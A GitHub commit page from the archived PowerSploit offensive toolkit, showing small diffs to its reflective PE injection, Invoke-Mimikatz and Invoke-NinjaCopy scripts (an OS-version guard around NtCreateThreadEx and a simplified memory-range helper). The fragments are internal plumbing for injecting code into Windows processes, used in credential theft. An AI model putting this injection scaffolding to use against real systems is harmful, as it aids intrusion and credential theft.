Skip to content
This repository was archived by the owner on Jan 21, 2021. It is now read-only.

Commit dae9d91

Browse files
HarmJ0yHarmJ0y
committed
Merge branch 'dev' of https://github.com/PowerShellMafia/PowerSploit into dev
2 parents 0181ff0 + 00af165 commit dae9d91

File tree

3 files changed

+17
-47
lines changed

3 files changed

+17
-47
lines changed

‎CodeExecution/Invoke-ReflectivePEInjection.ps1‎

Lines changed: 8 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -710,10 +710,13 @@ $RemoteScriptBlock = {
710710
$ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate)
711711
$Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf
712712

713-
$NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx
714-
$NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32])
715-
$NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate)
716-
$Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx
713+
# NtCreateThreadEx is only ever called on Vista and Win7. NtCreateThreadEx is not exported by ntdll.dll in Windows XP
714+
if (([Environment]::OSVersion.Version -ge (New-Object 'Version' 6,0)) -and ([Environment]::OSVersion.Version -lt (New-Object 'Version' 6,2))) {
715+
$NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx
716+
$NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32])
717+
$NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate)
718+
$Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx
719+
}
717720

718721
$IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process
719722
$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
@@ -909,24 +912,12 @@ $RemoteScriptBlock = {
909912
[IntPtr]
910913
$StartAddress,
911914

912-
[Parameter(ParameterSetName = "EndAddress", Position = 3, Mandatory = $true)]
913-
[IntPtr]
914-
$EndAddress,
915-
916915
[Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)]
917916
[IntPtr]
918917
$Size
919918
)
920919

921-
[IntPtr]$FinalEndAddress = [IntPtr]::Zero
922-
if ($PsCmdlet.ParameterSetName -eq "Size")
923-
{
924-
[IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size))
925-
}
926-
else
927-
{
928-
$FinalEndAddress = $EndAddress
929-
}
920+
[IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size))
930921

931922
$PEEndAddress = $PEInfo.EndAddress
932923

‎Exfiltration/Invoke-Mimikatz.ps1‎

Lines changed: 8 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -609,10 +609,13 @@ $RemoteScriptBlock = {
609609
$ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate)
610610
$Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf
611611

612-
$NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx
613-
$NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32])
614-
$NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate)
615-
$Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx
612+
# NtCreateThreadEx is only ever called on Vista and Win7. NtCreateThreadEx is not exported by ntdll.dll in Windows XP
613+
if (([Environment]::OSVersion.Version -ge (New-Object 'Version' 6,0)) -and ([Environment]::OSVersion.Version -lt (New-Object 'Version' 6,2))) {
614+
$NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx
615+
$NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32])
616+
$NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate)
617+
$Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx
618+
}
616619

617620
$IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process
618621
$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
@@ -799,24 +802,12 @@ $RemoteScriptBlock = {
799802
[IntPtr]
800803
$StartAddress,
801804

802-
[Parameter(ParameterSetName = "EndAddress", Position = 3, Mandatory = $true)]
803-
[IntPtr]
804-
$EndAddress,
805-
806805
[Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)]
807806
[IntPtr]
808807
$Size
809808
)
810809

811-
[IntPtr]$FinalEndAddress = [IntPtr]::Zero
812-
if ($PsCmdlet.ParameterSetName -eq "Size")
813-
{
814-
[IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size))
815-
}
816-
else
817-
{
818-
$FinalEndAddress = $EndAddress
819-
}
810+
[IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size))
820811

821812
$PEEndAddress = $PEInfo.EndAddress
822813

‎Exfiltration/Invoke-NinjaCopy.ps1‎

Lines changed: 1 addition & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -818,24 +818,12 @@ $RemoteScriptBlock = {
818818
[IntPtr]
819819
$StartAddress,
820820

821-
[Parameter(ParameterSetName = "EndAddress", Position = 3, Mandatory = $true)]
822-
[IntPtr]
823-
$EndAddress,
824-
825821
[Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)]
826822
[IntPtr]
827823
$Size
828824
)
829825

830-
[IntPtr]$FinalEndAddress = [IntPtr]::Zero
831-
if ($PsCmdlet.ParameterSetName -eq "Size")
832-
{
833-
[IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size))
834-
}
835-
else
836-
{
837-
$FinalEndAddress = $EndAddress
838-
}
826+
[IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size))
839827

840828
$PEEndAddress = $PEInfo.EndAddress
841829

0 commit comments

Comments
 (0)